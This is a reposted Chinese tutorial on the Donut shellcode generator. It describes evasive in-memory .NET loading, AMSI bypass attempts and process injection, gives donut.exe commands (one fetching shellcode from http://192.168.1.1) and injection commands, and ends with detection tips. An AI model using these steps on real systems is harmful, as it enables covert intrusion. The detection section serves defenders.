工具:C 程序轉換ShellCode利器

2021-01-10 酷扯兒

本文轉載自【微信公眾號:MicroPest,ID:gh_696c36c5382b】,經微信公眾號授權轉載,如需轉載與原文作者聯繫

最近的工作中,發現了一款被大量運用在滲透領域、用來生成ShellCode中常用到的轉換工具,以替代Powershell逃避監測且使用頻率很高,尤其是境外非常流行;這就是我今天要介紹的主角:DoNut,並在最後給出了檢測要點。

一是文章很長,耐心看;二是這個工具實在強大,而且實戰中頻用;三是在上一篇C&C中,就用到了這個工具。

一、背景

1、在滲透測試中,C#將會逐步替代Powershell;

2、就目前的趨勢來說,C#開源的工具越來越多;

3、使用C#開發的程序都能通過Donut轉換成shellcode。

二、下載、編譯

這是一個由多個工具組成的工作集,核心程序是donut,其它的都是它的輔助程序,但都有很用。

2、編譯

幫助文檔給出了編譯方式,命令行下的nmake,nmake -f Makefile.msvc

編譯後,生成donut.exe。其他目錄中的都有sln,可以直接vs2019編譯生成Dll或Exe。

三、功能

Donut是一個ShellCode生成工具,可以將.NET程序集轉換為ShellCode。這是對Execute-Assembly的進一步利用,隱蔽性更高,可擴展性更強。這個donut程序的版本是0.93,可以將Exe、Dll、Vbs、Js轉換成ShellCode。

Donut的利用思路:

1.將.NET程序集轉換為shellcode,例如配合SILENTTRINITY使用

2.作為模塊集成到其他工具中

3.擴展功能:支持類似meterpreter的migrate功能。

為了更為隱蔽,可以先使用ProcessManager列舉已經加載CLR的進程,對其進行注入。

1、幫助

2、execute-assembly

從內存中加載.NET程序集,能夠以dll的形式注入到其他進程中。

整個過程在內存執行,不寫入文件系統(此時注入dll需要使用Dll反射)。

Payload以dll形式存在,不會產生可疑的進程。

註:如果使用Loadlibrary加載dll,dll必須寫入文件系統。

3、Donut

基於execute-assembly,以shellcode的形式實現從內存中加載.NET程序集。

優點:注入到其他進程時不再依賴於Dll反射,更隱蔽,更易於擴展。

更隱蔽:指注入其他進程時不會存在dll。

更易於擴展:指能夠執行shellcode的方法都可以使用Donut,基於Donut的二次開發也很容易。

四、子項目

1、子項目

1)DemoCreateProcess

c#程序,編譯後生成文件DemoCreateProcess.dll,功能為將傳入的兩個參數作為啟動進程。可通過Donut將其轉換成shellcode,用作測試Donut生成shellcode的功能是否有效。

2)DonutTest

c#程序,編譯後生成文件DonutTest.exe,用於向指定pid的進程注入shellcode。

數組中保存base64加密後的shellcode,解密後通過CreateRemoteThread注入到指定進程。

3)rundotnet.cpp

c#程序,編譯後的文件為rundotnet.exe,用於讀取指定文件並使用CLR從內存加載.NET程序集。

4)ModuleMonitor

使用WMI事件Win32_ModuleLoadTrace來監視模塊加載,如果發現CLR注入,將會標記。

.程序中判斷CLR注入的方法:

如果進程加載了CLR,但程序不是.NET程序集,則CLR已注入其中。

.程序中判斷進程加載CLR的方法:

進程是否加載了與CLR相關的dll(mscoree.dll,mscoreei.dll和mscorlib.dll),dll以"msco"開頭。

這個工程一般是作防禦檢測用,用來檢測系統是否產生了CLR注入事件,所以在啟動後進程會一直執行,實時記錄系統加載新模塊的事件。

5)ProcessManager

用於枚舉當前計算機或遠程計算機上的進程。

同tasklist.exe的功能類似,增加以下功能:

· 判斷進程權限

· 判斷進程位數(32位還是64位)

· 判斷進程是否加載CLR

2、組件

1)payload.c

Donut的關鍵功能,實現以下操作:

(1)獲得shellcode並解密

提供兩種方式:

· 從payload.h讀取shellcode和解密密鑰

· 從HTTP伺服器下載shellcode和解密密鑰

(2)使用CLR從內存加載.NET程序集

· 調用ICLRMetaHost::GetRuntime方法獲取ICLRRuntimeInfo指針

· 使用ICorRuntimeHost接口

· 嘗試關閉AMSI和WLDP

· 使用Load_3(...)從內存中讀取

2)exe2h

用來將exe轉換為shellcode並保存到數組中。

從payload.exe中的.text段中提取已編譯的機器碼(包括dll和解密密鑰),將其作為數組保存到payload_exe_x64.h或payload_exe_x86.h。

3)payload_exe_x64/x86.h

存儲64/32位的機器碼(包括dll和解密密鑰)。

4)inject.c

使用RtlCreateUserThread向指定進程注入shellcode。

可用作測試向指定進程注入shellcode的功能。

5)runsc.c

C/S架構,兩個功能,可以發送和接收shellcode並執行。

用於測試payload.bin的功能。

6)encrypt.c

對稱加密的實現。

7)hash.c

API Hashing,這裡使用了Maru hash。

8)donut.c

主程序,用於將.NET程序集轉換成shellcode。

五、測試

1、測試Dll

這裡使用子項目DemoCreateProcess

編譯後生成文件DemoCreateProcess.dll;

2、使用Donut生成shellcode

64位:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

32位:

donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

命令執行後生成文件payload.bin。

如果加了-u指定URL,會再生成一個隨機名稱的Module文件,實例如下:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1

生成文件payload.bin和YX63F37T。

將YX63F37T上傳到http://192.168.1.1。

接下來通過注入shellcode的方式執行payload.bin,payload.bin會從http://192.168.1.1/YX63F37T下載實際的shellcode並執行。

3、查看進程信息

這裡使用子項目ProcessManager。

列出進程後,Managed選項如果為True,代表該進程已經加載CLR。

ProcessManager支持對指定進程進行篩選,例如只查看notepad.exe的進行信息,命令如下:

ProcessManager.exe --name notepad

4、注入shellcode

假設目標進程為3306

(1)使用子項目DonutTest

將payload.bin作base64編碼並保存在剪貼板,替換DonutTest工程中對應的變量,編譯成功後執行如下命令:

DonutTest.exe 3306

(2)使用RtlCreateUserThread

命令如下:

inject.exe 3306 payload.bin

六、Donut的檢測:

Donut需要使用CLR從內存中加載.NET程序集,可採取以下方法進行檢測:

· 進程不是.NET程序集

· 進程加載了與CLR相關的dll(dll以"msco"開頭)

註:正常程序也有可能存在這個行為。

兩種檢測方法:

· 使用命令tasklist /m msco*

· 使用WMI事件Win32_ModuleLoadTrace來監視模塊加載

對滿足以上條件的進程重點監控。

本文轉載自【微信公眾號:MicroPest,ID:gh_696c36c5382b】,經微信公眾號授權轉載,如需轉載與原文作者聯繫

相關焦點

  • C/C++免殺CS shellcode實踐
    概述什麼是shellcode百度百科這樣解釋道:shellcode是一段用於利用軟體漏洞而執行的代碼,shellcode為16進位的機器碼,因為經常讓攻擊者獲得shell而得名。翻譯成人話就是:shellcode是一段執行某些動作的機器碼。
  • 簡單shellcode學習
    引言之前遇到沒開啟NX保護的時候,都是直接用pwtools庫裡的shellcode一把梭,也不太懂shellcode代碼具體做了些什麼,遇到了幾道不能一把梭的題目,簡單學習一下shellcode的編寫。
  • 日文遊戲亂碼怎麼辦 亂碼轉換工具下載及使用
    很多日文遊戲會有地區限制,尤其是Win 7、Win8玩日文遊戲亂碼情況經常出現,那麼遇到這種日文遊戲亂碼情況該怎麼辦呢,這裡我們需要一個亂碼轉換工具
  • python交互式shell-ipython
    前言在寫Python的時候,有時候需要命令行來測試一段代碼,這時候就會用到交互式的shell。直接輸入python就可以進入默認的shell,但是都沒有提示,用起來不是很爽。這時候就可以用上ipython。
  • 華氏溫度換算公式及C語言轉換程序代碼
    它與攝氏溫度(C)和華氏溫度(F)之間的換算關係為F=9/5c+32, 或C=5/9(F-32)  華氏攝氏度與攝氏溫度之間的-C語言轉換程序  對於一個工程師或者說一個代碼狗來說,當然得知道,華氏攝氏度與攝氏溫度之間的C語言轉換程序啦。。。.
  • shell調試教程之MM32 MCU的J-Link RTT方式實現shell功能
    MM32 MCU上使用shell來輔助開發,介紹的是通過串口方式的shell,但是有時候我們硬體串口不多或者被佔用,這樣通過串口方式的shell就無法使用了,所以希望有新的方法實現shell,本次我們介紹J-Link RTT的方式來實現shell功能。
  • 51單片機100內的加減乘除計算器C語言程序
    #include //包含文件 #define uchar unsigned char #define uint unsigned int char b[]={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90,0x88,0x83,0xc6, 0xa1,0x86,0x8e,0x8c,0xc1,0xce,0x91,0x89,0xc7,0xff
  • Flowcode在PIC單片機中的應用
    什麼是FlowCode本文引用地址:http://www.eepw.com.cn/article/161801.htm  Flowcode軟體允許你創建複雜的程序PIC單片機。您可以創建你想要的程序流程圖。
  • VS Code上也能玩轉Jupyter Notebook,這是一份完整教程
    你可以用 python 的安裝程序(pip install notebook)安裝,也可以用 conda 來安裝(conda install -c conda-forge notebook)。當然,你計算機上也得有 VS Code 和 Python 3。如果沒有的話,先去這兩個網址下載。
  • 黑屏操作利器,多屏批量shell命令發送
    app -  |-中心-| --> vm No.1 -> log        |      --> vm No.2 -> log        |-單元-| --> vm No.3 -> log               --> vm No.4 -> log      我們先想個簡單的方式解決這個問題,tmux作為一款linux的多屏工具
  • shell是什麼?shell實現原理分析基於MM32 MCU的shell腳本源碼
    shellDisplay(shell, 「| (C) COPYRIGHT 2019 MindMotion |\r\n」);   shellDisplay(shell, 「| shell v」SHELL_VERSION「 |\r\n」);   shellDisplay(shell, 「| Build: 」__DATE__「 」__TIME__「 |\r\n」);
  • 【qPCR計算工具】使用教程及程序更新
    常常有讀者朋友在後臺問我,我的qPCR程序如何使用,程序能不能識別三個樣本,四個基因,五個平行之類的所以今天特地出一個教程
  • Android壓力測試Monkey工具
    最近在Android程序測試過程中接觸到了自動化測試方法,對其中的一些工具、方法和框架做了一些簡單的整理,其中包括android測試框架、CTS、Monkey、Monkeyrunner其它test tool等等。因接觸時間很短,很多地方有不足之處,希望能和大家多多交流和指點在這裡簡單對monkey做簡單的介紹吧。
  • DVBBS php轉換工具使用教程
    首先需要架好PHP程序運行環境。目前轉換程序只有四種,即:1、動網的ASP7.1 AC 轉到 動網PHP1.02、動網的ASP7.1 MSSQL 轉到 動網PHP1.03、DISCUZ4.1 轉到 動網PHP1.04、DISCUZ5.0 轉到 動網PHP1.0一、說明:1、訪問你的轉換路徑,各文件對應的轉換說明如下2、asp71ac-to-php10
  • AVG中國實驗室發現「白加黑」型惡意程序
    騰訊科技訊 8月30日,AVG中國病毒實驗室近日發現一類為了躲過殺毒軟體主動防禦,利用正常程序加載和執行惡意代碼的木馬程序正在大規模爆發。這種木馬由兩部分組成:正常的程序加惡意程序,正常程序被利用後,惡意代碼即可被加載和執行。
  • 管理Kubernetes集群的50個開源實用工具
    推薦一篇博客,這篇博客裡列舉了50個實用的Kubenretes工具,所有的工具都是開源的,有的提供商業支持,這些工具分為以下幾類:
  • 16進位轉換算成10進位程序
    16進位轉換算成10進位程序本文引用地址:http://www.eepw.com.cn/article/172812.htmunsigned char d[10]; //用於顯示的10位顯示緩存//========
  • S12單片機模塊應用及程序下載調試
    在沒有電機、舵機的具體參數的情況下,可寫一個可調周期、佔空比的PWM輸出程序進行測試。     A/D(Analog/Digital)模塊:A/D模數轉換模塊內部可分為三個部分:IP總線接口、轉換模式控制/寄存器列表、自定義模擬量。IP總線接口負責該模塊與總線的連接,實現A/D模塊和通用I/O的目的。轉換模式控制寄存器列表中有控制該模塊的所有的寄存器。
  • AVG提醒您注意防範「白加黑」型惡意程序
    近日,AVG中國病毒實驗室發現一類為了躲過殺毒軟體主動防禦,利用正常程序加載和執行惡意代碼的木馬程序正在大規模爆發。
  • 實現Python數據化運營都需要哪些工具和組件?
    1.Python程序目前,Python仍然是兩個系列的版本並存,一個是Python 2(最新版本是2.7.13),另一個是Python 3(最新版本是3.7.1)。這兩個版本的語法不完全兼容,因此兩個版本的程序調用對方的執行腳本很可能會報錯。